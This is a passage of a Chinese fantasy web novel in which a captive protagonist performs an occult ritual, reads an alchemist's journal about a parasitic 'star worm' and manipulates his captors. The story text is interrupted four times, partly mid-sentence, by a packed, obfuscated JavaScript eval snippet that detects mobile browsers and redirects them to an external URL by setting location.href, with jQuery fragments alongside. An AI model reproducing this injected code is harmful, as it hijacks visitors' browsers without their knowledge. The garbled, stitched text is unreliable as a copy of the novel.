“修女,您能进来和我一起吗?”周祈歪着头看向帕尔瓦娜,“您在我身旁的时候,我总会感觉像是妹妹回来了一样,那种感觉,很安心。” 帕尔瓦娜没有搭理他,但他并没有放弃。 “可以吗?我真的很需要您。” 女孩如周祈所料般重新回过头看他,她的目光在周祈脸上停留的时间变得更长,但最终什么也没有说,只是再次用食指敲了下门框。 明明是和刚刚一样的动作,周祈却解读出了她想表达的意思,她在示意周祈不要关门,她会站在这里,用这样的方式“陪”他。 因为……不喜欢有光的地方? 她似乎很喜欢藏在光照不到的地方,所以她不肯打开起居室的灯,也不想进入有光的书房。 “我们可以把灯关了。”他说,“我只需要两根蜡烛就可以看清书里的文字。” 女孩的目光闪烁了两下,似乎真的在思考他的提议。 周祈接着说,“如果是那种燃烧起来会让人精神稳定的蜡烛就更好了,那会让我阅读的速度提升许多。” 他没有直接说出“灵烛”这个词,但他相信女孩懂他指的是什么。 帕尔瓦娜还是没有说话,而是用略带不解的眼神看向他。 周祈开始解释,“这是我在那本书里看到的方法,将两根特殊的蜡烛和一块特殊的石头按照特定的阵型摆放,就可以加快阅读速度,不然的话就会像我刚才那样,只是看了一点就头疼得不行。” 他并不担心女孩知道这是能够提升灵性的仪式,也不怕女孩把他说的上报,反正这里没人能看懂那本书,只要他一口咬定是书里写的,蒂尔神父也并不会因为这个而将他怎么样。 还是那句话,只要是威胁不到生命的想法,都值得去试一试。 帕尔瓦娜不再看他,也并没有敲击门框,不知道算是答应还是拒绝。 “如果我能早点完成阅读,将书中的内容完整地呈交给神父大人,您也就可以提前完成任务,不必再做这种无聊的看守工作。” 他刚说完这句话,脑海中又响起判定成功的提示音。 【循循善诱】 【你的话语将会更加轻易地触动人心、令人信服】 第三个技能? 周祈的心情一时有些复杂,黄金蠕虫带给他的能力看似花样繁多,但无论是【通晓】、【灵光一现】,还是现在的【循循善诱】,都更像是对他自身潜力的一种开发,只是在精神、心灵层面带给他一些被动的辅助,并没有给予他更加主动的攻击手段,无法直接改善他目前的处境。 或许是受到了【循循善诱】的影响,帕尔瓦娜不再倚靠墙壁,而是走过来,关上他面前的门,紧接着门锁处传来“啪嗒”一声,女孩给书房门上了锁。 ? 不是判定成功了吗?怎么整得像是大失败了一样? 他把耳朵贴在木门上,听到了另一道关门声,帕尔瓦娜离开了外面的起居室。 难道她是要去取我需要的蜡烛和石头,但又怕我趁机逃跑,所以才把门锁住? 他发现自己竟然无法参透大反派行为举止的具体含义,只能在房间中继续等待。 时间对现在的周祈来说是奢侈品,一丝一毫也不容浪费,他回到书架前,一边吃着苹果派,一边继续阅读大秘术师和菜鸟秘术师的虐恋故事。 还别说,这苹果派比他之前吃过的任何一种糕点都要香甜可口。 如果条件允许的话,真想见见这个秘密教团的厨师,请教一下制作苹果派的秘诀。 周祈收敛跑偏的思绪,将注意力重新集中在面前的书中。 ** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418458|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帕尔瓦娜沿着楼梯上行,进入这栋建筑地面上的那部分。 许多穿着黑衣的传教士从她身边路过,作为整栋建筑中唯一的女性,她无论走到哪里都会受到大量的关注,这些人看向她的眼神或带着蔑视,或带着怜悯,甚至还有不加掩饰的欲望。 她早已习惯了一切。 在走道上转了几个弯后,帕尔瓦娜来到存放有各种灵性材料的房间,她拥有在建筑中自由通行的权利,负责看守这间房间的传教士并未阻拦她。 不大的空间里摆放着整整六排到顶的木头高柜,每排柜子上都整齐排满一个个小小的方格抽屉,帕尔瓦娜搬来三步梯,在第二排柜子的最上层找齐了那个人需要的两样东西:两根灵烛,以及一块黄水晶。 帕尔瓦娜攥紧手中的事物,思绪无法自制地开始扩散。 她实在见过太多抱着别有用心的目的、用一系列花言巧语试图骗取她信任的人,她心中十分清楚,书房里的那个人和他们是同类。 但她不明白自己为什么没有拒绝他提出的要求,就好像冥冥之中有一个声音在告诉她,自己应该听从这个人的话语。 她想,或许是因为这个人的外表和经历让她想到了一段久远的记忆,想到那个自称是她哥哥,试图拯救她、并因此丢掉性命的男人。 如出一辙的愚蠢。 她收起所有的思绪,拿上东西准备离开。 这将会是她第一次,也是最后一次配合这个人,她不会再为他提供任何帮助。 帕尔瓦娜打开门,却在转角处遇到了蒂尔神父。 银色头发的中年男人第一时间注意到她手里拿着的灵烛和黄水晶,浑浊的眼珠转动了几下,他沉下脸,问,“修女,你为什么会在这里,我让你看守的那个人清醒了吗?” 帕尔瓦娜直视着银发男人,面不改色道,“没有。” 蒂尔神父死死盯着她,阴晴不定的双眼中不知道在想什么,几秒后,他阴恻恻地开口,“是吗?那请你想办法让他清醒过来,如果明天这个时候他还没有翻译出新的内容,就杀了他吧。” ** 听到门锁传来的动静,周祈立刻从地板上站起,木门向外打开,他看到一双白皙的手掌,将他需要的灵烛和灵石递了进来。 还真是一点光都不愿意接触啊…… 周祈接过她递来的东西,装出一副不可思议的模样,“修女,您、您真的找来了我需要的东西,我还以为您不会把我说的话放在心上。” 帕尔瓦娜用略显怪异的眼神瞥了他一下。 周祈见好就收,又说了一连串“人美心善”之类的赞美,他关上书房的灯,黑暗瞬间笼罩这片狭窄的空间。 “修女,现在您可以进来了。” 帕尔瓦娜犹豫了一下,最终还是挪动脚步,像没有实体的灵魂一样“飘”了进来。 但她只是走了进来,并没有要在书桌前坐下或是向房间中央走动的意思,就那样安静地站在门口,连呼吸声都听不到,简直不像活人。 周祈没有多说什么,他关上门,将蜡烛和石头摆放在地板上,准备开始布置升灵仪式。 5. 密苑钟声(五) 周祈心里其实有些紧张,毕竟他只是在游戏里进行过升灵仪式,并不能确定它是否真实有效。 “穿越”是在一瞬间发生的事,他的衣服、手上的腕表,同样在那一瞬间被带进了游戏世界,当然,也包括裤兜里的打火机。 他用打火机点燃地板上的两根蜡烛,将黄水晶摆放至烛光交汇处,三样物品呈“倒三角”阵型排列。 做完这些,周祈猛地想起自己还少了一样东西——用来进行驱逐的“仪式匕首”。 驱逐是所有仪式秘术中必不可少的环节,目的是为了清除非必要的、危险的不良能量,制造一个纯净的环境,以便仪式能够进行得更加顺畅。 等等,帕尔瓦娜身上是不是有一柄匕首来着? 周祈摸了摸脖子上已经干涸的血迹,转头看向立在墙边、几乎和阴影融为一体的女孩,“修女,可以借用一下您的匕首吗?” 帕尔瓦娜无动于衷,就像是没有听见他的话一样。 “拜托。”周祈双手合十,朝她眨了眨眼。 因为光线的原因,他看不清女孩脸上的表情,只能大概分辨出她迟疑了片刻后,轻轻掀起裙摆,从长裙之下取出一柄被亚麻布包裹的物品,隔着不算近的距离抛了过来。 周祈接过亚麻布团,解开缠绕的布条,看到了一柄全黑的短刃。 仪式匕首,周祈曾在现实世界中见过这东西。 在他的父母、妹妹因为事故意外亡故后,他被一对外国夫妇收养。那一家的老祖母十分热衷于研究占星、塔罗牌,周祈不经常见到她,对她的印象只有满屋子的水晶、蜡烛、精油,以及各种各样的法器,其中就包括一柄刻满符号铭文的精致匕首,和他现在手里握着的十分相似。 老祖母曾经告诉过周祈,一些高品质的仪式匕首上会铭刻神灵的尊名,而这往往代表着神灵对使用者的眷顾。 帕尔瓦娜的这柄匕首上就铭刻着一串类似名字的符号,像是某种失落的古老语言写就。 猝不及防的,他听到“叮”的一声,【通晓】意外地触发判定,为他解读出那一串符号的含义。 【夜巫】 夜巫? 没听说过有这号神啊…… 周祈将游戏背景中提到过的数位神灵在脑海中快速过了一遍,确信自己从没听说过“夜巫”这一名号。 不过,秘术界本就动荡不安,一位神明的陨落算不上稀奇,周祈并没有太在意。 有了仪式匕首,他终于可以正式开始举行升灵仪式了。 周祈紧握仪式匕首的刀柄,面朝蜡烛燃烧的方向,在空中勾勒出一个“六芒星”图案。 《无光密界》是一个没有日月星辰的世界,无论是哪一种语言都不存在太阳、月亮和星星这三个概念的单词,这里的人将六芒星图案称为“多角型”或是“双三角”。 按照仪式的标准流程,他现在应该诵念任意一位神灵的尊名,但仪式匕首上的那串代表“夜巫”的符号替他省去了这一步骤,他沉默着,九十度转身,面朝新的方向再次勾勒出“双三角”图形。 同样的步骤需要重复四次,直到再次面朝蜡烛燃烧的方向,“驱逐”就算完成了。 他继续紧握刀柄,将匕首举至胸前,轻声诵念,“请为这块水晶赋予灵性。” 灵烛的火光开始剧烈晃动起来,某种力量在地板上的三样物品间流动起来,隐隐约约可以瞥见三角形的光路。 最终,代表力量的光路全部汇入倒三角的底端,也就是那块黄水晶之中。 两根蜡烛在顷刻间燃烧过半,而这也标志着升灵仪式顺利完成。 周祈捡起地上的那块水晶,那一瞬间,他感觉到温热的能量团自掌心向上,通过手臂向大脑涌去,他的思维似乎都敏捷了不少。 成功了! 周祈在心中雀跃了一下,虽然只是简单到不能再简单的升灵仪式,但这还是他第一次脱离虚拟数据,独立完成秘术仪式,难免有些激动。 想到房间中还有另一个人,他努力平复心情,之后转过头,帕尔瓦娜站在门口,眼睛一眨不眨地盯着他看。 她直勾勾的目光让周祈生出一种被人窥探的错觉,像是赤身裸体,被人一寸一寸看光的感觉。 他起了一身鸡皮疙瘩,却还是强装着镇定,双手捧着那柄匕首将它交还到女孩手中,“谢谢您,修女。” 帕尔瓦娜接过匕首,垂下眼,不再看他。 升灵有时效限制,周祈没再浪费时间,随手拿起一根灵烛,来到书桌前,第三次尝试阅读那本神秘的书籍。 他翻开皮革制成的封面,悦耳的提示音终于响起,纸张上用深蓝色墨水书写的文字抖动起来,一层斑斓的虚影缓缓浮现。 片刻后,这些虚影逐渐脱离纸张本身,漂浮至半空中,并逐渐扭曲变形,成为周祈熟悉的语言。 他心中一喜,这几个小时的努力总算是没有白费。 扉页上只有一个简单的名字。 ——西奥多·莱特。 作者的名字? 周祈快速翻开下一页。 “在我被关至这座监牢的第十年,我终于决定结束我的生命,在生命的最后,我要将我花费十年时间研究的东西记录下来。但在此之前,我首先要揭露一个人的真实面目。” “海因里希,我曾经的挚友,在我还不理解‘人’这个概念之前,我首先认识了海因里希,我们一起在教会的救济院中长大,又因为各自的秘术天赋一同进入学院,一起选择成为炼金术士。” “十六岁那年,我自行创立了‘魂质炼金术’,也正是那一年,我曾经的挚友背叛了我,他向教会检举,称我的‘魂质炼金术’残忍可怖,而我本人也已经被邪恶力量污染,信仰崩坏。” 魂质炼金术? 周祈的目光停留在这个特殊的词组之上,在游戏设定中,魂质是精神力量在□□中的实质化表现,相当于‘灵魂’的存在。 普通人的魂质只有黄豆粒大小,存在于脑部,而秘术师则不同,随着灵知的提升,魂质会逐渐膨胀并覆盖全身,甚至可以离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418459|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体,也就是所谓的“灵魂出窍”。 “魂质炼金术”,难道是使用人类的魂质来制作物品? 嘶……听起来就挺残忍邪恶的…… 周祈忍不住开始设想,假如他有一个好朋友突然开始研究邪恶的秘术,他会不会也和那个“海因里希”一样,直接告到教会去。 但他一时竟给不出答案,两边好像都各有各的道理。 周祈用力闭了闭眼,强迫自己重新开始阅读。 “此后十年,我被教会和异调局通缉,过上了流亡的生活,但最终海因里希还是找到了我,并把我关进了这座修道院。” “他对外宣称我的魂质炼金术是异端,但他却又来到这里,要求我用魂质炼金术为他复现一样只存在于传说中的物品。” “为了自由,我只能按照他所说的,从修道院的地下墓葬中取出了墓主人的魂质,并将那样东西成功复刻出来。” 所以说,我现在待的地方是一座修道院,并且还是一座地下藏有墓葬的修道院? 周祈感觉有些不可置信,游戏中只有一个以“永昼之神”为信仰的正神教会,也只有永昼教会有资格设立修道院,而绑架他的这个秘密教团竟然敢随意占领一座永昼教会的修道院。 也不知道是谁给他们的勇气…,那个夜巫吗? 周祈翻开下一页,接着往下读。 “但随着我对这件物品的研究更加深入,我终于明白自己即将酿成一场前所未有的灾祸,为了避免预想中的一切发生,我决定带着这个秘密去死。” “我用特殊的文字写就这本手记,只有被那样物品寄生的人才有可能看懂。” “如果你读到了这里,我的朋友,我想告诉你,你根本无法想象自己即将掌握何种恐怖的力量。” 笔记的主人突然切换了人称,周祈莫名有些紧张,好像自己正在和这个素未谋面的神秘炼金术士面对面谈话一样。 “寄生在你肚子里的东西名叫‘星虫’,它有时看起来像只蠕虫,有时看起来像条八爪鱼,但它的本质其实是一团魂质。” “它不会说话,但它‘活着’,并会时不时向你传达一些信息。它会将你精神层面的潜能无限放大,令你逐渐通晓一切。但这还不是它最令人心生畏惧的地方。” 星虫… 周祈默默琢磨着这个略显奇怪的单词。 《无光密界》的文字中没有“星”,【通晓】使用了现实世界中的英文单词来帮助周祈理解这个单词的含义。 两个世界的语言组合在一起,透着说不出的古怪。 接下来的一段文字很奇怪,字体比之前的都要粗,颜色也要更深一些,笔记主人写这段话时似乎非常用力,有几处甚至被钢笔尖戳破。 “它可以代替神明的敕印,令你可以支配灵知,使用秘术,并且,你只需要简单的【拗转】就可以自由使用所有准则的秘术!” 这…… 周祈用手指紧紧捏着笔记本的两边,心脏怦怦直跳,四肢都因震惊而开始发麻。 6. 密苑钟声(六) “什么是【拗转】,我将它定义为改变自身魂质的属性。每个人都有魂质,而魂质又有不同的颜色,这些颜色代表了人们拥有何种准则的天赋。” “星虫的本质是魂质,而人的身体里不可能同时存在两团不同的魂质,也就是说,它的寄生其实是吃掉了你原本的魂质,取而代之。” “星虫没有任何色相,就像一块干净的调色板,你给它涂什么颜色,它就表现出哪种颜色的力量。” “而【拗转】正是通过饮用几支简单的药剂,清洗调色板,重新上色的过程。” 周祈震惊到几乎说不出话来,似乎稍微理解了笔记主人在开头写的“你根本无法想象自己即将掌握何种恐怖的力量”。 恐怖,真的只有用恐怖来形容这份能力。 虽然他还未正式踏入秘术界,成为正式的秘术师,但作为一名资深玩家,他怎么能不懂“代替神明敕印”“自由使用所有准则的秘术”这几个字的含金量。 这个世界的秘术按照不同的力量来源被分为九种,而这九种力量的来源被称为“准则”。 不同的准则相互排斥,通常情况下,秘术师只可以支配一种准则的力量,少部分的“天才”能够被两种不同的准则接纳,同时支配它们的力量。 而能够支配三种力量的秘术师仅仅是在传说中出现过,千百年可能也就只有一两个人可以做到。 但星虫竟然可以让他支配九种不同的力量! 周祈甚至怀疑笔记的主人是在开玩笑,但他往后翻了翻,只看到一大堆“拗转药剂”的配方,并没有“哈哈哈其实我是骗你的”之类的字眼。 “代替神明敕印”这一点同样值得震惊。 “敕印”其实就是他腹部那条发光伤疤的学名。 “敕印”是成为秘术师的必经之路,受敕者需要在自己身上制造一条不会愈合的伤口,通过各种各样的仪式获得追奉之神的回应。 得到回应后,那条伤口会被不同准则的力量暂时封印,随着受敕者灵知的提升逐渐愈合。 伤口完全愈合后可以进行下一次敕印,完成秘术等级的进阶。 并且,秘术师在获得某位神明的敕印后,除了死亡之外,无法改变自己的信仰。如果在追求飞升的道路上信仰崩塌,那这位可怜的朋友面临的就只有被清空理智值,异化为怪物这一种下场。 也就是说,无论是永昼教会还是其他的秘密教团,这些组织中绝对不存在二五仔。 但星虫竟然可以完全无视这一规则,简直是完美的“二五仔快乐虫”。 而对周祈来说,这“虫子”还有一个作用,那就是可以帮助他逃过那些诡谲的敕印仪式。 他所掌握的多个敕印仪式中,几乎没有不血腥不怪诞的,不是献祭自己的一部分就是献祭别人的一部分。 动不动就是刀一个人或者一群人,整的像交投名状似的。 在游戏里当然没什么,npc不过是一串代码,但他现在是亲身经历,完全不一样的体验。如果可以的话,周祈不想献祭自己,也不想献祭别人。 “星虫是魂质炼金术的产物,它所需要的‘食物’也是魂质,换句话说,你可以通过吞噬魂质来获得灵知,并逐步提升秘术等阶。” 可以支配九种准则,不需要举行敕印仪式,吞噬魂质来换取晋升,这能力未免也太过超模了…… 怪不得笔记的主人会如此激动,写下的字都自动“加大加粗”,他铸造星虫,简直就像牛顿发现万有引力,哥伦布发现新大陆,英国女工发明珍妮机…… 星虫的秘密如果流传到秘术界,必然会掀起一场惊涛巨浪。 升灵仪式的效果已经消散大半,【通晓】转换出的文字开始变得不稳定,随时有可能崩解。 周祈的额头也开始隐隐作痛,眼前天旋地转的,他不敢再浪费时间,想要抓紧把剩下的部分读完。 “在你开始学习秘术之前,我还要提醒你,众所周知,秘术师将一个个蕴藏超凡力量的符号铭刻进自己的精神领域,依靠使用灵知来激活并释放它们。” “但我的朋友,你有没有想过这些符号的来源是什么?如果你从来没有思考过这个问题,为什么敢让那些来源不明的东西进入与心脏一样重要的精神领域呢?” “在我意识到这个严重的问题时,我的精神领域已经被各种等阶的秘术符号填满,为了补救,我开始尽可能地使用法印代替精神领域,只可惜为时已晚。” “所以如果此刻的你拥有一个崭新的精神领域,我建议你不要随意将来源不明的符号刻入其中,适当的使用法印来代替铭刻。” 笔记的主人还贴心地绘制了多种符咒制作的方法,并且他给出的都是一阶符咒,周祈只要喝下对应的拗转药剂就可以使用。 “最后,我要写下我的魂质炼金术,它并不是如海因里希所说那般,以活人魂质炼制。那是一次意外的经历,我在举行仪式的过程中出现了失误,却没想到会与一个已经消亡的世界建立连接,并将那个世界的魂质召唤出来。” “那是一个毫无秩序的世界,也正是因为它们的无序,它们的世界才会消亡,将那些异种生物放到人类的标准中,无论哪一个都是值得绞死无数回的穷凶极恶之辈。” “我会写下与那个世界建立连接并召唤魂质的仪式,顺便附上一个魂质炼金术产物的制作方法。” “值得一提的是,由于那个世界本质已经消亡,使用这个仪式召唤出的魂质并不能用来当作星虫的‘食物’、提升灵知、换取秘术等阶的晋升。” “如果你对我的魂质炼金术感兴趣,想了解更多,可以前往弗洛利加,银贝壳街四号,我在那里存放了一些‘遗产’。” 书籍的内容到此为止,升灵仪式的效果恰好在此时消失,周祈手里的那块黄水晶像被风化了一般,化作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418460|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一团闪着光的齑粉,并自行在他手中消散。 周祈合上书,却发现墙边的女孩不知何时离开了这间密闭的书房。 什么时候走的?怎么一点声音都没有? 周祈敲了敲自己的太阳穴。他本来还计划着看完书再和大反派套套近乎,把两人之间的关系再拉近点,以图为之后的逃离带来一些便利。 但现在看来,这个想法并没有那么容易实现。 她害怕光,不喜欢说话,也不喜欢和其他人在一个空间中待太久。 高敏感群体的一员啊…… 他放下椅子的靠背,仰头看向天花板。 从西奥多·莱特的笔记中获得的信息实在太多,他一时无法将它们全部消化。 冷静下来之后,周祈认为书中描写的东西对现在的他来说有些遥远,毕竟他还只是个在生死边缘徘徊的菜鸟,逃离这座修道院才是他目前最首要的目标。 从已知的信息来看,名叫蒂尔的银发神父拥有凌驾于其他人之上的话语权,站在修道院的食物链顶层。他是秘术师,并且有很大可能是三阶甚至更高等阶的秘术师,自己对上他毫无胜算。 食物链的第二层是那些黑衣传道士,以及修女帕尔瓦娜。 这些传道士也有可能是秘术师,但他们的等阶不会很高,最多不会超过二阶。 正常秘术师的修行极依赖自身天赋,大部分人的上限就是二阶,无论是正神教会还是秘密教团,三阶及以上的秘术师都是凤毛麟角,需要重点培养的对象。 如果他能想办法制作出扭转药剂和符咒,应该足以和这些传道士中的任何一个对抗,可他们有人数优势,从正面突破、硬生生打出去的可能性微乎其微。 而食物链的最低层无疑是他们这些随时可能被抹脖子的祭品。 也不知道在我之后的那些人怎么样了…… 周祈和他们同病相怜,但他也不得不承认,这些人真的就像传道士说的那样,只是一群待宰的羔羊,不可能对他有所帮助。 这样捋下来,能够让他给予希望的人又只剩下那位大反派。 帕尔瓦娜是特殊的存在,周祈能感觉出来。 她用很短的时间取来了黄水晶和灵烛,说明她无需申请就可以调用教团内的资源。并且,她似乎是这里唯一的一名女性。 那么,是什么让她如此特殊? 这个问题的答案或许就是让帕尔瓦娜彻底信任自己的关键节点。 到这里,他的计划已经十分清晰。 制作扭转药剂和法印,尽可能拉近和帕尔瓦娜的关系,搞清楚修道院的结构和守卫力量分布。 后面两项其实可以归为一个,只有取得帕尔瓦娜的信任,他才有可能获得自由活动的时间去收集信息。 至于第一项…… 周祈会心一笑。 蒂尔神父应该已经等不及要听新的故事了吧。 7. 密苑钟声(七) 周祈在书房中睡了一个不算平稳的觉,他在过程中反复醒来,闭上眼又会梦到同样的画面。 ——帕尔瓦娜用匕首割断他喉管的画面。 睡醒后,看着四周毫无变化的场景,周祈压抑了二十四小时的悲观情绪毫无征兆地爆发了,他突然意识到,他可能再也回不到原本的世界,曾经平静安宁的生活永远离他而去。 他的家人,性情温和的养父母,和他毫无血缘关系但对他非常好、把他当作亲弟弟对待的哥哥姐姐们,他再也见不到他们了。 周祈想到另一个问题,他身穿到此地,那原来世界的他是消失了还是直接死亡? 唉…不管是哪种,都要他们替我担心了…… 他的心像被灌了铅一样,沉甸甸的。 就在这时,木门处传来一声熟悉的、指关节敲击门框的声音,周祈知道这是帕尔瓦娜独特的敲门声。 门向内打开的同时,周祈从椅子上“弹”起,他过度的反应让女孩推门的动作稍微迟疑了一下。 灵烛早已燃尽,房间里没有任何光线,他连门外那人的轮廓都看不清楚。 可能是因为方才那场不停重复的梦境,一股惊悚的气息从女孩的裙摆上向四周扩散,那道气息如同漆黑浓稠的毒液,在黑暗中翻涌着。 但味道却是香的。 周祈吸了吸鼻子,确定自己闻到的是肉桂苹果派的香气。 他这才后知后觉地反应过来,大反派突然突然书房的门,不是像梦里那样来索他的命,而是来给自己送吃的。 他摸索着走到门口,苹果派的香气越发强烈。 和昨天一样,女孩敲门之后把苹果派放在地上,离开了门边,刚刚那种惊悚的感觉只是他过度脑补后产生的错觉。 他端起地上的盘子,一旁还多了一个装满水的杯子。 可能是心情的缘故,他心里的某个部位被手中拿着的东西触动到。 萦绕在鼻尖的香气像一只柔软的手掌,轻轻抚摸着他躁动不安的心绪。 在陌生的地方遇到熟悉的人真的是一件值得庆幸的事,哪怕这个人是游戏里虐他千百遍的大反派。 “修女。” 他对着眼前的黑暗轻轻喊了一声,“谢谢你。” 这句发自内心的感谢通过黑暗传到女孩耳中,她意外地给予了回应。 “不用。” 周祈壮着胆子,缓缓向声音的来源挪动。 感受到他的靠近,女孩立刻戒备起来,左手不自觉地想要去拔刀。 周祈立刻停下脚步,不再前进。 他把两人之间的距离控制在一个安全的范围内,随后开始新的一轮“话疗”。 “其实我刚刚做梦梦到我妹妹了,我梦到自己正和她坐在一起吃饭,然后就听到您的敲门声,看到了这个。” 他把手里的东西往前举了举,“真是太巧了。” 他也和帕尔瓦娜一样,倚靠着墙面站立,同时换上一种略带忧伤的声线,“她和您一样不爱说话,也是因为这一点,她经常被人误解,他们以为她性格孤僻,觉得她是个怪人,但我知道,她只是不善言辞而已。” 帕尔瓦娜缓缓松开紧握刀柄的手。 身旁的青年继续说,“她心思细腻,能够观察到很多人们注意不到的细节,总是默默对身边人好。” 周祈注意到女孩的紧绷着的身体好像放松了一些。 “但并不是所有人都不理解她,还是有能读懂她的自我,看到她善良的本质。” “修女。”他转过头,面朝着帕尔瓦娜,“您有同伴吗?我好像并没有见到过其他修女……” “咚——” 他的话还没说完,距他至少还有两米的女孩像是会瞬间移动一样出现在身边,和昨天一样,伸手掐着他的脖子,将他向后推。 周祈被她突如其来的动作吓到,手里的盘子和水杯掉落在地面上,顷刻间碎成一片一片。 他不知道自己的话踩中了女孩哪处“雷点”,第一反应是为自己辩解,“修女,我……” 帕尔瓦娜不给他说话的机会,拔出匕首,将尖锐锋利的刀刃抵在他的颈内静脉处。 冰凉的触感让周祈心中升起一股强烈的预感,这个动作不是威胁,不是警告,帕尔瓦娜是真的会杀了他。 他准备反抗之时,不远处响起“啪嗒一声”,煤气灯的光芒瞬间将整个起居室照亮。 蒂尔神父站在门口,身后还跟着两名表情惊讶的传道士。 “修女,你为什么要把刀放在他脖子上?” 神父同样搞不清楚状况,用疑惑地目光看向两人的方向。 满屋的光亮让帕尔瓦娜无处可遁,匕首掉落在地上,她像是被掏空所有力气一般,并没有解释什么,快速离开周祈身边,逃离几人的视线。 周祈捂着脖子上那道浅浅的伤口,注意力落在地板那些瓷器碎片上。 可惜那两块苹果派了…… 蒂尔神父没有过多关注帕尔瓦娜,似乎对她一系列的动作习以为常。 他转而看向周祈,脸上挂着皮笑肉不笑的表情,“我希望你已经从那本书中阅读到新的内容。” 周祈忙低下头,装作不敢直视他的样子,“当然,大人。” 蒂尔神父让人到书房中取出那本书,在周祈面前摊开,“那就开始念吧。” 周祈深呼吸一口气,从上次的结尾接着往下编。 “……命运的神眷者需要被杀三次才会死去,我们需要用到三个神圣的奇物。” 又对上了。 蒂尔神父目光深沉了些许,他现在可以确定这个人不是在编造谎言来骗自己,他是真的能够看懂这些文字。 如此重大的发现,必须立刻汇报给主教阁下。 “这三样神圣的物品分别是……” “等一下!” 神父抬手打断周祈,又微微侧头,命令身旁的传道士,“你拿上纸笔,把他说的内容记录下来。” 传道士小跑着,从另一个房间拿来笔记本和钢笔,开始认真记录。 “这三样物品分别是一柄宝剑,一个装水的容器,和一个匣子。” 宝剑,装水的容器,匣子? 这是在代指什么?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418461|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蒂尔神父摸着下巴,问他,“没有写具体的名字吗?” “没有,大人。” 神父沉吟一声,随后摆了摆手,“你继续吧。” “这些神圣的物品都存放在神殿,由最强大的圣殿骑士看管,年长的秘术师要求弟弟去将它们偷来,但年幼的秘术师不知道这三样物品长什么样子,年长的秘术师便制作了它们的仿制品,方便弟弟比照着它们的模样寻找。” 听到关键的部分,神父越发专注,但黑发青年却在此时抬起头,用怯懦的目光看向他,“大人,头疼。” 神父攥紧拳头,甚至想要直接给这个总是在关键部分头疼的家伙一拳。 他知道青年为什么会头疼,资质平平的普通人与包含隐秘知识的文字接触,没有理智失控已经是个奇迹了。 真是个废物。 神父发出一声恨铁不成钢的叹息,甚至在考虑要不要用一些特殊的手段提升一下这小子的灵知,反正之后都要杀了他,也不怕会造成什么别的影响。 周祈瑟缩着身体,一脸诚惶诚恐,“大人,我看到了其中一样物品的制作方法,但我不确定它是否完整。” 神父面露愠色,“不完整的东西说出来有什么用?” “我可以尝试为您制作它,只求您不要杀我。” “你?” 蒂尔挑了挑眉,刚想开口嘲讽他,但不知为何,又在一瞬间改变了想法。 让他尝试一下好像也没什么。 他让传道士将纸笔递给周祈,“把你需要的东西写下来,我会让人送过来。” 【循循善诱】判定成功的提示音逐渐消散,周祈在心中笑了两声。 他果然没有猜错,这项技能无法凭空改变一个人的想法,但却可以在合理的前提下对人潜意识里的念头加以引导。 神父不知道星虫真正的能力,以为他只是能看懂特殊语言的普通人,潜意识中认为让他接触到灵性材料也不会有什么严重后果,所以【循循善诱】才会触发成功。 周祈接过纸笔,回忆着笔记中的配方,快速在纸上写出长长一串清单,交给神父检查。 “怎么这么多?”神父望着写满文字的笔记本,眉毛拧成一团。 周祈早有所准备,“诚恳”地向他解释,“大人,我之前从来没有接触过炼金术,很多材料的名字都没听说过,即使经过翻译之后也拿不准,就把它们全都写上了,其中有一些可能是错误的名字。” 他的解释还算具有说服力,蒂尔神父快速扫了一眼那张清单,果然瞥到几个明显有错别字或是根本不存在的材料名。 乡巴佬。 他在心里哼笑一声,把清单递给身旁的传道士,“按他写的找吧,找齐之后把东西给他送来。” 离开房间之前,神父看向角落的黑裙少女,“帕尔瓦娜修女,今天是17号,不要忘了你需要做什么。” 周祈看到女孩攥紧拳头,手背的青筋凸起。 说实话,如果单纯只看这一双手,周祈甚至会认为这不是一双女孩该有的手掌。 女孩捏着裙角,始终一言不发。 8. 密苑钟声(八) 几个小时后,蒂尔神父安排的传道士送来一个巨大的箱子。 箱子里装着清单上能够找到的所有物品,还贴心的用标签标好了名字。 书房中只有他一个人。 